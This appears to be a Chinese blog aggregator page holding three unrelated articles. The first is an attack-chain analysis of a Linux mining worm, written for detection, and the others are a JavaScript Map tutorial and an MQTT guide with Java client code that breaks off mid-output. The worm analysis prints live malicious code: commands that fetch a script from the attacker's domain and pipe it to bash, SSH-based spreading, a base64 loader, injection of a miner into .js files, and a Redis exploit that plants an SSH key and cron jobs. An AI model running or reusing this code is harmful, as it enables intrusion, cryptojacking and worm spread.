首页 文章 精选 留言 我的

精选列表

搜索[标准直播],共10006篇文章
优秀的个人博客,低调大师

***链分析标准

bt0sea嘶吼专业版 0x00、前言 ***链分析是最近比较火的话题,但是ATT&CK***模型是针对APT总结出来的,现实当中哪有那么多APT***?所以,很多厂商在探索处理日常碰到的针对性***。把检测到的安全监控点事件串联起来,形成***链。当然需要经过应急响应团队二次评估。 0x01、人工分析 ***链分析要从实际的***案例分析开始,所以,第一步我们要通过人工分析了解******的来龙去脉。 做人工分析也需要有基础数据收集: 1、资产指纹功能是EDR(endpoint detection response)产品重要的功能,通过对进程、网络连接等基础数据的收集,为进一步安全场景分析提高数据支撑。 2、登陆流水,对分析暴力破解成功等账号风险问题有很大帮助。 3、网络层五元组、VPC log、一段时间内的pcap包。 4、http/https对外Post请求。 首先,我们先从主机层面进程、网络信息开始,至少需要收集以下基础信息: "process_info": { "path": "/alidata/server/httpd/bin/httpd", "pid": 11095, "name": "httpd", "start-time": 2019-09-27 09:43:05, "cmdline": "/alidata/server/httpd/bin/httpd -k start", "username": "daemon", "groupname": "daemon", "cpu": 8.1, "md5": "4dcb56b10fa7f80891b06feebf0b5fbb", "ppid": 1360, }, "socket_info": { "remoteport": 6381, "socktype": TCP, "pid": 10599, "name": "java", "remoteaddr": "192.168.171.30", "localaddr": "10.207.249.48", "status": "ESTABLISHED", "start-time": 2019-09-27 09:43:05, "localport": 53174, }, 我们在搜索process_info.cmdline字段中发现: /bin/sh -c (curl -s http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O - http://www.jukesxdbrxd.xyz/hehe.sh)|bash -sh 下载了hehe.sh,因为内容比较多我就不完全显示(大部分代码是干掉竞争对手的进程、或者网络连接),分析几块比较有意思的代码段: 1、伪装SSH下载hehe.sh恶意脚本。 ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print 2}'|xargs kill -9 if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in (grep -oE "\b([0-9]{1,3}.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2>&1 &' & done fi 2、下载内部探测恶意脚本 function e() { nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovL3d3dy5qdWtlc3hkYnJ4ZC54eXovc3MzLnB5Jwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 & touch /tmp/.38t9guft0055d0565u444gtjr5 } if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr5" ]; then e fi 上面代码中base64解密后是: #coding: utf-8 import urllib import base64 d= 'http://www.jukesxdbrxd.xyz/ss3.py' try: page=base64.b64decode(urllib.urlopen(d).read()) exec(page) except: pass 3、插入挖矿脚本 这招实在太黑了,向本机所有符合条件的.js文件中写入挖矿脚本。 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"61adfe72ae314d8f86532b3cd1c60bda\",\"-1\"\)\</script\>\'\)\; http://t.cn/EvlonFh 访问后URL: 同时下载了http://www.jukesxdbrxd.xyz/ss3.py 进行分析。 1、redis未授权访问扫描功能 def get_ip_list(): try: url = 'ifconfig.co/ip' conn = httplib.HTTPConnection(url, port=80, timeout=10) conn.request(method='GET', url='/', ) result = conn.getresponse() ip1 = result.read() ips1 = findall(r'\d+.\d+.', ip1)[0] for u in range(0, 256): ip_list1 = (ips1 + (str(u))) for g in range(1, 256): IP_LIST.append(ip_list1 + '.' + (str(g))) except Exception: ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip() ips2 = findall(r'\d+.\d+.', ip2)[0] for i in range(0, 255): ip_list2 = (ips2 + (str(i))) for g in range(1, 255): IP_LIST.append(ip_list2 + '.' + (str(g))) pass def get_ip_list2(): not_valid = [10,127,169,172,192] for i in range(0, 100000): first = randrange(1,227) while first in not_valid: first = randrange(1,227) ip = ".".join([str(first),str(randrange(0,256)), str(randrange(0,256)),str(randrange(0,256))]) IP_LIST.append(ip) def runPortscan(): for x in range(99999): get_ip_list2() for host in IP_LIST: scanner.lck.acquire() if len(scanner.tlist) >= scanner.maxthreads: scanner.lck.release() scanner.evnt.wait() else: scanner.lck.release() scanner.newthread(host) for t in scanner.tlist: t.join() 在主机上的执行结果: netstat -antup Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 7506/0 tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN 7743/1 tcp 0 0 127.0.0.1:6012 0.0.0.0:* LISTEN 7845/2 tcp 0 1 10.0.0.26:56082 207.158.88.30:6379 SYN_SENT 7999/python tcp 0 1 10.0.0.26:54058 61.x.166.211:6379 SYN_SENT 7999/python tcp 0 1 10.0.0.26:42164 33.x.249.227:6379 SYN_SENT 7999/python tcp 0 1 10.0.0.26:52206 25.x.45.0:6379 SYN_SENT 7999/python tcp 0 1 10.0.0.26:36772 210.x.3.9:6379 SYN_SENT 7999/python tcp 0 1 10.0.0.26:60696 70.186.8.29:6379 SYN_SENT ...(省略,后面还有很多) tcp 0 16 10.0.0.26:54142 115.230.124.187:6379 ESTABLISHED 7999/python tcp 0 0 10.0.0.26:22 106.38.115.24:12957 ESTABLISHED 7845/2 tcp 0 0 10.0.0.26:22 106.38.115.24:12955 ESTABLISHED 7506/0 2、如果存在redis权限,拷贝sshkey到目标主机。通过redis导出文件方式增加C2的秘钥。 SKEY="\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBoaGW7s5jkS7HBHz3S007pxTSSjuF16E2UBoDYBG3xrOVTf504K82It6RncEp8jEN5LxoePNGDatJYEsRLSyRyUuGDp1jdBW/yTa5dMQm/29UQ7VDvqF40CN44wemG0edFHxBLLSmNBgPfapuumePxSbLVTlEUb5tpEqiTADx30KFZtKTt1ov549iF4Uw/jLRCP80zPqmZgeUxGRt/jM3LnvJ1W1M2S2BLFbHovMuLRFKg8FCUrEe23V+6Vp4l7A4SgwxQ+4O4JKlZIoiaG7HkC0jhDVdeU9RdvI4uAaBSMed8fgmvFpBVXbG5aGHuYNiODWYiaWGQeCyK0ua+g5N root@localhost\\n#" try: s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.settimeout(3) x = s2.connect_ex((self.host, 6379)) if x == 0: DFDIR=DFRDB='N/A' stt1=stt2=stt3=stt4=stt5=-9 tmp=rd(s2, 'config get dir\r\n') if "Authentication required" in str(tmp): stt1=-10 elif "-ERR unknown command" not in str(tmp): if 'dir' in str(tmp): DFDIR=(tmp.split('dir'))[1].splitlines()[2] tmp=rd(s2, 'config get dbfilename\r\n') if 'dbfilename' in str(tmp): DFRDB=(tmp.split('dbfilename'))[1].splitlines()[2] rs=rd(s2, 'config set dbfilename root\r\n') if "+OK" in str(rs): rs=rd(s2, 'config set rdbcompression no\r\n') if "+OK" in str(rs): write=rd(s2, 'flushall\r\n') if "write against a read only" in str(write): rd(s2, 'SLAVEOF NO ONE\r\n') write=rd(s2, 'flushall\r\n') if "write against a read only" not in str(write): K1=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10))) K2=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10))) K3=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10))) CF=''.join(random.choice(string.lowercase) for x in range(random.randint(6, 18))) rs=rd(s2, 'config set stop-writes-on-bgsave-error no\r\n') #rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n') rs=rd(s2, 'set '+K2+' "'+C2+'"\r\n') apt=chkdir(s2, '/usr/share/bug/apt/') if apt == -4: fml='N.' stt1=chkdir(s2, '/var/spool/cron') else: fml='Debian.' stt1=chkdir(s2, '/var/spool/cron/crontabs') pine=chkdir(s2, '/etc/crontabs') rs=rd(s2, 'del '+K2+'\r\n') rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n') rs=rd(s2, 'config set dbfilename .'+CF+'\r\n') stt2=chkdir(s2, '/etc/cron.d') rs=rd(s2, 'config set dbfilename crontab\r\n') stt22=chkdir(s2, '/etc') if stt2 < 2: stt2=stt22 rs=rd(s2, 'del '+K1+'\r\n') rs=rd(s2, 'config set dbfilename authorized_keys\r\n') rs=rd(s2, 'set '+K3+' "'+SKEY+'"\r\n') stt3=chkdir(s2, '/root/.ssh') stt4=chkdir(s2, '/home/ubuntu/.ssh') #time.sleep(1) rs=rd(s2, 'del '+K3+'\r\n') rs=rd(s2, 'config set rdbcompression yes\r\n') rs=rd(s2, 'config set stop-writes-on-bgsave-error yes\r\n') if "cron" not in str(DFDIR) and ".ssh" not in str(DFDIR): rs=rd(s2, 'config set dir '+DFDIR+'\r\n') rs=rd(s2, 'config set dbfilename '+DFRDB+'\r\n') else: rs=rd(s2, 'config set dir /var/lib/redis\r\n') rs=rd(s2, 'config set dbfilename dump.rdb\r\n') s2.close() except Exception: pass scanner.lck.acquire() scanner.tlist.remove(self) if len(scanner.tlist) < scanner.maxthreads: scanner.evnt.set() scanner.evnt.clear() scanner.lck.release() 3、建立外联下载恶意软件通道。 def run(self): RHOST='http://jukesxdbrxd.xyz/' CHKCURL='tbin=$(command -v passwd); bpath=$(dirname \\"${tbin}\\"); curl=\\"curl\\"; if [ $(curl --version 2>/dev/null|grep \\"curl \\"|wc -l) -eq 0 ]; then curl=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"CURLOPT_VERBOSE\\" && curl=\\"$f\\" && break; done; fi; fi; wget=\\"wget\\"; if [ $(wget --version 2>/dev/null|grep \\"wgetrc \\"|wc -l) -eq 0 ]; then wget=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"to <bug-wget@gnu.org>\\" && wget=\\"$f\\" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i \\".onion.\\"|wc -l) -ne 0 ]; then echo \\"127.0.0.1 localhost\\" > /etc/hosts >/dev/null 2>&1; fi; ' RPATH1='hehe.sh' TIMEOUT='40' COPTS='-fsSLk --max-time '+TIMEOUT WOPTS='--quiet --no-check-certificate --timeout='+TIMEOUT C1='\\n\\n*/1 * * * * root ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n' C2='\\n\\n*/1 * * * * ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n' 在主机上的执行结果: root@Server-xxxxx:~# netstat -antup |grep EST tcp 0 36 10.0.0.26:22 106.38.115.24:12956 ESTABLISHED 7743/1 tcp 0 0 10.0.0.26:22 106.38.115.24:12957 ESTABLISHED 7845/2 tcp 0 0 10.0.0.26:22 106.38.115.24:12955 ESTABLISHED 7506/0 0x02、分析自动化 我们大致了解了***程序***手段,那么我们如何自动化整个查询过程。 异常获取: 1、清洗所有进程cmdline数据,去除到空字段等异常情况。 2、把所有进程cmdline数据归一化。 3、与7天白名单基线对比,筛选出不在基线中的进程cmdline 4、提取存在主机安全告警的cmdline数据,清洗后,进行相识度对比,curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2 5、在网络流程层提取POST流量,,<?xml version=”1.0” <string>curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh|bash </string> 6、经过误报处理后,发现的告警就是我们想要的。 本文为嘶吼特约作者bt0sea原创文章,未经授权禁止转载。

优秀的个人博客,低调大师

JavaScript 标准之 Map对象

概览: 前言 定义 语法 描述 属性 Map实例 前沿 一直以来使用数组和对象来定义数据模型,前几天在翻阅ES6语法的时候,突然发现有一种Map对象对操作键值对特别好用,而且代码更简洁明了,简直太棒了。今天,我们就来一步步了解什么是Map对象,详细给大家介绍一下Map对象的属性和方法。希望大家以后再数据操纵方法多一种解决问题的方法,这是ECMAScript 6 新增的数据结构。 定义 Map对象保存键/值对,是键/值对的集合。任何值(对象或者原始值) 都可以作为一个键或一个值。Object结构提供了“字符串—值”的对应,Map结构提供了“值—值”的对应。 语法 mapObj = new Map([iterable]); iterable 可以是一个数组或者其他iterable 对象,其元素或为键值对,或为两个元素的数组。每个键值对都会添加到新的 Map。null会被当做 undefined。 描述 集合中的键和值可以是任何类型。如果使用现有键向集合添加值,则新值会替换旧值。 Object 和 Map 对象的对比: 相似点:都允许你按键存取一个值、删除键、检测一个键是否绑定了值。 不同点: 1.一个对象的键只能是字符串或者 Symbols,但一个 Map 的键可以是任意值,包括函数、对象、基本类型。 2.Map 中的键值是有序的,而添加到对象中的键则不是。因此,当对它进行遍历时,Map对象是按插入的顺序返回键值。 3.通过 size 属性直接获取一个 Map 的键值对个数,而 Object 的键值对个数只能手动计算。 4. Map 是可迭代的,而 Object 的迭代需要先获取它的键数组然后再进行迭代。 5. Object 都有自己的原型,所以原型链上的键名有可能和对象上的键名产生冲突。虽然 ES5 开始可以用 map =Object.create(null) 来创建一个没有原型的对象,但是这种用法不太常见。 6. Map在频繁增删键值对的场景下会有些性能优势。 属性 下表列出了Map对象的属性 属性 描述 构造函数 -get Map[@@species] 指定创建映射的函数,本构造函数用于创建派生对象。 原型(Map.prototype) 为映射返回对原型的引用,表示Map构造器的原型。允许添加属性从而应用于所有的Map对象。 size (Map.length) 返回映射中的元素数。 Map实例 所有的Map实例都会继承自Map.prototype。 属性 下表列出了Map对象实例的属性 属性 描述 Map.prototype.constructor 返回一个函数,它创建了实例的原型。默认是Map函数。 Map.prototype.size 返回Map对象的键/值对的数量。 方法 下表列出了Map对象实例的方法 方法 描述 Map.prototype.clear() 移除Map对象的所有键/值对。 Map.prototype.delete(key) 移除指定键相关联的值,并且返回该值,该值在之前会被Map.prototype.has(key)返回为true。之后再调用Map.prototype.has(key)会返回false。 Map.prototype.entries() 返回一个新的 Iterator 对象,它按插入顺序包含了Map对象中每个元素的 [key, value] 数组。 Map.prototype.forEach(callbackFn[ , thisArg]) 按插入顺序,为 Map对象里的每一键值对调用一次callbackFn函数。如果为forEach提供了thisArg,它将在每次回调中作为this值。 Map.prototype.get(key) 返回指定键的值,如果不存在返回undefined。 Map.prototype.has(key) 返回一个布尔值,表示Map实例是否包含键对应的值,如果包含指定元素,返回true。 Map.prototype.keys() 返回一个新的 Iterator对象,它按插入顺序包含了Map对象中每个元素的键。 Map.prototype.set(key, value) 设置Map对象中指定键的值,并返回该Map对象。 Map.prototype.values() 返回一个新的Iterator对象,它按插入顺序包含了Map对象中每个元素的值 。 Map.prototype[@@iterator] 返回一个新的Iterator对象,它按插入顺序包含了Map对象中每个元素的 [key, value] 数组。 示例 Map对象类似于对象,也是键值对的集合,但是“键”的范围不限于字符串,各种类型的值(包括对象)都可以当作键。 let a = new Map(); let b = {p: 'Hello World'}; a.set(b,"content"); a.get(b); //"content" a.has(b); //true a.delete(b); //true a.has(b); //false 作为构造函数,Map也可以接受一个数组作为参数。该数组的成员是一个个表示键值对的数组。 let map = new Map([ ['first', 'aaaaaaaaaaaaa'], ['second','bbbbbbbbbbbbb'] ]); map.size(); // 2 map.has('first'); // true map.get('first'); // "aaaaaaaaaaaaa" map.has('second'); // true map.get('second'); // "bbbbbbbbbbbbb" 如果对同一个键多次赋值,后面的值将覆盖前面的值。 let map = new Map(); map.set(1, 'aaa'); map.set(1, 'bbb'); map.get(1) // "bbb" 如果读取一个未知的键,则返回undefined。!!!注意,只有对同一个对象的引用,Map结构才将其视为同一个键。Map 的键实际上是跟内存地址绑定的,只要内存地址不一样,就视为两个键。这就解决了同名属性碰撞(clash)的问题,我们扩展别人的库的时候,如果使用对象作为键名,就不用担心自己的属性与原作者的属性同名。 let map =new Map(); map.get('abc'); // undefined map.set(['a'], 555); map.get(['a']) // undefined const k1 = ['a']; const k2 = ['a']; map .set(k1, 111) .set(k2, 222); map.get(k1); // 111 map.get(k2); // 222 Map.clear() 方法清除所有成员,没有返回值。 let map = new Map(); map.set('foo', true); map.set('bar', false); map.size(); // 2 map.clear(); map.size(); // 0 Map对象遍历方法示例 let map = new Map([ ['first', 'aaa'], ['second', 'bbb'], ]); // map.keys()方法 for (let key of map.keys()) { console.log(key); } // first // second // map.values()方法 for (let value of map.values()) { console.log(value); } // "aaa" // "bbb" //map.entries() 方法 for (let item of map.entries()) { console.log(item[0], item[1]); } // "first" "aaa" // "second" "bbb" //等同于使用map.entries()方法 for (let [key, value] of map) { console.log(key, value); } // "first" "aaa" // "second" "bbb" //数组结构可以使用扩展运算符(...) [...map.keys()] //["first","second"] [...map.values()] // ["aaa","bbb"] [...map.entries()] // [["first", "aaa"],["second", "bbb"]] [...map] //[["first", "aaa"],["second", "bbb"]] 结合数组的map() 和filter()方法,可以实现对Map的遍历和过滤(Map本身没有map()和filter()方法) let myMap = new Map([["thing1", 1], ["thing2", 2], ["thing3", 3]]); let newMap = new Map( [...myMap].filter(([key, value]) => value < 3) ); // Map(2) {"thing1" => 1, "thing2" => 2} let newMap2 = new Map( [...myMap].map(([key, value]) => [key, value * 2]) ); // Map(3) {"thing1" => 2, "thing2" => 4, "thing3" => 6} Map对象还有一个forEach方法,与数组的forEach方法类似,也可以实现遍历。 let map = new Map([["thing1", 1], ["thing2", 2], ["thing3", 3]]); map.forEach(function(value, key, map) { console.log("Key: %s, Value: %s", key, value); }); // Key: thing1, Value: 1 // Key: thing2, Value: 2 // Key: thing3, Value: 3 forEach方法还可以接受第二个参数,用来绑定this。 let map = new Map([["thing1", 1], ["thing2", 2], ["thing3", 3]]); let reporter = { report: function(key, value) { console.log("Key: %s, Value: %s", key, value); } }; map.forEach(function(value, key, map) { this.report(key, value); }, reporter); // Key: thing1, Value: 1 // Key: thing2, Value: 2 // Key: thing3, Value: 3 参考文献 【美】MDN Web docs 之 Map 【美】Microsoft Developer Network 之 Map对象(JavaScript) 【中】阮一峰ECMAScript 6 入门 转载时请注明:来自w-rain的个人博客

优秀的个人博客,低调大师

消息推送标准协议:MQTT

随着物联网(Internet of Things,IoT)的兴起,机器之间(Machine-to-Machine,M2M)的大规模信息沟通成为重要的课堂,之前HTTP的请求/回答(Request/Response)模式不再合适,取而代之的是发布/订阅(Publish/Subscribe)模式。这就是轻量级、可扩展的MQTT(Message Queuing Telemetry Transport)可以施展拳脚的舞台。 1. MQTT与IoT MQTT是基于二进制消息的发布/订阅编程模式的消息协议,最早由IBM提出的,如今已经成为OASIS规范。由于规范很简单,非常适合需要低功耗和网络带宽有限的IoT场景。其主要特点包括: 轻量级的 machine-to-machine 通信协议; publish/subscribe模式; 基于TCP/IP; 支持质量等级QoS; 适合于低带宽、不可靠连接、嵌入式设备、CPU内存资源紧张。 运用MQTT协议,设备可以很方便地连接到物联网云服务,管理设备并处理数据,最后应用到各种业务场景中。同时MQTT也是一种比较不错的Android消息推送方案,FacebookMessenger就是采用了MQTT。可以说MQTT是物联网中最有潜力的网络协议之一。 MQTT与物联网 若初次接触MQTT协议,可先理解以下概念: MQTT协议特点——相比于RESTful架构的物联网系统,MQTT协议借助消息推送功能,可以更好地实现远程控制。 MQTT协议角色——在RESTful架构的物联网系统,包含两个角色客户端和服务器端,而在MQTT协议中包括发布者,代理器(服务器)和订阅者。 MQTT协议消息——MQTT中的消息可理解为发布者和订阅者交换的内容(负载),这些消息包含具体的内容,可以被订阅者使用。 MQTT协议主题——MQTT中的主题可理解为相同类型或相似类型的消息集合。 2. 发布/订阅模式 与请求/回答这种同步模式不同,发布/定义模式解耦了发布消息的客户(发布者)与订阅消息的客户(订阅者)之间的关系,这意味着发布者和订阅者之间并不需要直接建立联系。 打个比方,你打电话给朋友,一直要等到朋友接电话了才能够开始交流,是一个典型的同步请求/回答的场景;而给一个好友邮件列表发电子邮件就不一样,你发好电子邮件该干嘛干嘛,好友们到有空了去查看邮件就是了,是一个典型的异步发布/订阅的场景。 换一种类比,请求/回答模式是一种同步模式,请求方会一直等待应答方的回复;而发布/订阅模式是一种异步的模式, 这种设计模式的好处为: 发布者与订阅者不比了解彼此,只要认识同一个消息代理即可; 发布者和订阅者不需要交互,发布者无需等待订阅者确认而导致锁定; 发布者和订阅者不需要同时在线,可以自由选择时间来消费消息; 3. 主题 MQTT是通过主题(Topics)对消息进行分类的,本质上就是一个UTF-8的字符串,不过可以通过反斜杠表示多个层级关系。主题并不需要创建,直接使用即可。 主题还可以通过通配符进行过滤,关于Topic通配符: /:用来表示层次,比如a/b,a/b/c; :表示匹配>=0个层次,比如a/#就匹配a/,a/b,a/b/c; 单独的一个#表示匹配所有。 不允许 a#和a/#/c。 +:表示匹配一个层次,例如a/+匹配a/b,a/c,不匹配a/b/c。 单独的一个+是允许的,a+不允许,a/+/b不允许 注意,MQTT允许使用通配符订阅主题,但是并不允许使用通配符广播。 4. 服务质量QoS QoS 为了满足不同的场景,MQTT支持三种不同级别的服务质量(Quality of Service,QoS)为不同场景提供消息可靠性: 级别0:尽力而为。消息发送者会想尽办法发送消息,但是遇到意外并不会重试。 级别1:至少一次。消息接收者如果没有知会或者知会本身丢失,消息发送者会再次发送以保证消息接收者至少会收到一次,当然可能造成重复消息。 级别2:恰好一次。保证这种语义肯待会减少并发或者增加延时,不过丢失或者重复消息是不可接受的时候,级别2是最合适的。 用户可以根据消息的重要性选择不同的质量级别。 5. 消息体和消息类型 MQTT消息头 MQTT的固定头部,使用两个字节,共16位。 其中4-7Bit为消息类型,使用4位二进制表示,可代表16种消息类型: 消息类型 除去0和15位置属于保留待用,共14种消息事件类型。 CONNECT: TCP连接建立完毕后,Client向Server发出一个Request; 如果一段时间内接收不到Server的Response,则关闭socket,重新建立一个session连接。 如果一个ClientID已经与服务器连接,则持有同样ClientID的旧有连接必须由服务器关闭后,新建立才能建立。 CONNACK:Server发出CONNECT消息的Response: 0x00 Connection Accepted 0x01 Connection Refused: unacceptable protocol version 0x02 Connection Refused: identifier rejected 0x03 Connection Refused: server unavailable 0x04 Connection Refused: bad user name or password 0x05 Connection Refused: not authorized PUBLISH : 发布消息 Client/Servier均可以进行PUBLISH。 publish message 应该包含一个 TopicName(Subject/Channel),即订阅关键词。 PUBACK: QoS=1时,用于发布消息后的确认 QoS=1时,Server向发布者Client该确认收到消息(Client收到确认后删除消息),订阅者向Server发布确认收到消息。 PUBREC / PUBREL / PUBCOMP QoS=2时: Server->Client发布PUBREC(已收到); Client->Server发布PUBREL(已释放); Server->Client发布PUBCOMP(已完成),Client删除msg; 订阅者也会向Server发布类似过程确认。该过程类似于TCP的三次握手过程。 SUBSCRIBE/SUBACK SUBSCRIBE 用于Client向Server发送订阅某个主题的请求; SUBACK 用于Server回复Client,确认已订阅; UNSUBSCRIBE /UNSUBACK UNSUBSCRIBE 用于Client向Server发送取消订阅某个主题的请求; SUBACK 用于Server回复Client,确认已取消订阅; PINGREQ / PINGRES :心跳 Client有责任发送KeepAliveTime时长告诉给Server。在一个时长内,发送PINGREQ,Server发送PINGRES确认。 Server在1.5个时长内未收到PINGREQ,就断开连接。 Client在1个时长内未收到PINGRES,断开连接。 一般来说,时长设置为几个分钟。最大18hours,0表示一直未断开。 DUP flag(打开标志) 保证消息可靠传输,默认为0,只占用一个字节,表示第一次发送。不能用于检测消息重复发送等。只适用于客户端或服务器端尝试重发PUBLISH, PUBREL, SUBSCRIBE 或 UNSUBSCRIBE消息,注意需要满足以下条件: 当QoS > 0,消息需要回复确认 当值为1时,表示当前消息先前已经被传送过。 QoS(Quality of Service,服务质量) 使用两个二进制表示PUBLISH类型消息: QoS value bit 2 & bit 1 Description 0 00 至多一次 发完即丢弃 1 01 至少一次 需要确认回复 2 10 只有一次 需要确认回复 3 11 待用,保留位置 RETAIN(保持) 仅针对PUBLISH消息。不同值,不同含义: 1:表示发送的消息需要一直持久保存(不受服务器重启影响),不但要发送给当前的订阅者,并且以后新来的订阅了此Topic name的订阅者会马上得到推送。 备注:新来乍到的订阅者,只会取出最新的一个RETAIN flag = 1的消息推送。 0:仅仅为当前订阅者推送此消息。 假如服务器收到一个空消息体(zero-length payload)、RETAIN = 1、已存在Topic name的PUBLISH消息,服务器可以删除掉对应的已被持久化的PUBLISH消息。 6. MQTT代理服务 市面上有相当多的高质量MQTT代理,其中Mosquitto是一个开源的轻量级的C实现,其官网地址为: Mosquitto-Server。 在Ubuntu系统中可以直接通过以下命令安装: apt-get install mosquitto apt-get install mosquitto-clients 关于如何配置和使用Mosquitto请详见官网和参考文献10, 这里不再详细展开。 Moqtuitto性能突出,发送消息快,稳定性高,cpu占用很少,并发比较高。i5-4核CPU,4G内存的服务器,就在能在20s以内发送10w条 QoS-0信息,且CPU使用率不超过20%。具体性能分析请见: MQTT SERVER 性能测试报告 7. Paho客户端实战 可能有的读者很心急,不像自己搭建服务器就像体现MQTT的工作流程。Eclipse提供可一个测试的服务器:iot.eclipse.org:1883。读者朋友们可以使用MQTT协议的官方客户端Paho-Client来直接连接使用。 示例代码如下: package srx.awesome.code.mqtt.client; import org.eclipse.paho.client.mqttv3.*; public class PahoTest { //关注的主题 private static String topic = "MQTT Examples";// //发送的内容 private static String content = "Hello MQTT!!!!!"; //质量等级 private static int qos = 2; //MQTT服务地址 private static String broker = "tcp://iot.eclipse.org:1883"; //客户端ID private static String clientId = "JavaSample"; //用户名 private static String userName = "admin"; //密码 private static String passWord = "password"; @SuppressWarnings("finally") public static void main(String[] args) { try { //创建客户端 MqttClient sampleClient = new MqttClient(broker, clientId, null); //配置回调函数 sampleClient.setCallback(new MyMqttCallback()); //创建连接选择 MqttConnectOptions connOpts = getMqttConnectOptions(userName, passWord); System.out.println("Connecting to broker: "+broker); //创建服务连接 sampleClient.connect(connOpts); System.out.println("Connected"); //关注主题,质量等级为2 sampleClient.subscribe(topic, qos); //在另一个线程中发送消息 Thread thread = new Thread(() -> { try { publishMsg(topic, content, qos, sampleClient); } catch (MqttException e) { e.printStackTrace(); } }); thread.start(); thread.join(); //断开服务连接 sampleClient.disconnect(); System.out.println("Disconnected"); } catch(MqttException me) { System.out.println("reason "+me.getReasonCode()); System.out.println("msg "+me.getMessage()); System.out.println("loc "+me.getLocalizedMessage()); System.out.println("cause "+me.getCause()); System.out.println("excep "+me); me.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } finally { System.exit(0); } } private static void publishMsg(String topic, String content, int qos, MqttClient sampleClient) throws MqttException { //循环发送10次消息 for (int times =0 ;times<10; times++) { System.out.println(String.format("%d time Publishing message: %s", times, content)); //创建消息内容 MqttMessage message = new MqttMessage(content.getBytes()); //设置质量级别 message.setQos(qos); //发送消息 sampleClient.publish(topic, message); //System.out.println("Message published"); } } private static MqttConnectOptions getMqttConnectOptions(String userName, String passWord) { MqttConnectOptions connOpts = new MqttConnectOptions(); //是否清除Session,如果否,重新连接之后会自动关注之前关注的主题 connOpts.setCleanSession(true); connOpts.setUserName(userName); connOpts.setPassword(passWord.toCharArray()); connOpts.setAutomaticReconnect(true); // 设置连接超时时间, 单位为秒,默认30 connOpts.setConnectionTimeout(30); // 设置会话心跳时间,单位为秒,默认20 connOpts.setKeepAliveInterval(20); return connOpts; } } 代码实现的功能很简单:该客户订阅主题"MQTT Examples",然后向这个主题连续10次发送消息,服务代理会把发布在该主题的消息在发给定语该主题的用户,也就是客户端自己。 需要重点说明的事为客户端代理设置回调器(MqttCallback ),下面是作者自定义的回调器。 package srx.awesome.code.mqtt.client; import org.eclipse.paho.client.mqttv3.IMqttDeliveryToken; import org.eclipse.paho.client.mqttv3.MqttCallback; import org.eclipse.paho.client.mqttv3.MqttException; import org.eclipse.paho.client.mqttv3.MqttMessage; class MyMqttCallback implements MqttCallback { //端看连接之后被调用 @Override public void connectionLost(Throwable arg0) { System.out.println("Connection Lost:"+arg0.getMessage()); } //收到消息后被发送 @Override public void messageArrived(String s, MqttMessage mqttMessage) throws MqttException { System.out.println(String.format("get Msg: %s from Topic: %s", mqttMessage, s)); } //消息被送到之后被调用 @Override public void deliveryComplete(IMqttDeliveryToken iMqttDeliveryToken) { if(iMqttDeliveryToken.isComplete()){ System.out.println(String.format("Delivery a Msg to Topic: %s",iMqttDeliveryToken.getTopics()[0])); } } } 通过自定义回调器,就可以设置消息事件到来和发出后的业务逻辑,将通信和业务处理分离开,是一种解耦和的设计。 运行程序,输入如下: Connecting to broker: tcp://iot.eclipse.org:1883 Connected 0 time Publishing message: Hello MQTT!!!!! get Msg: 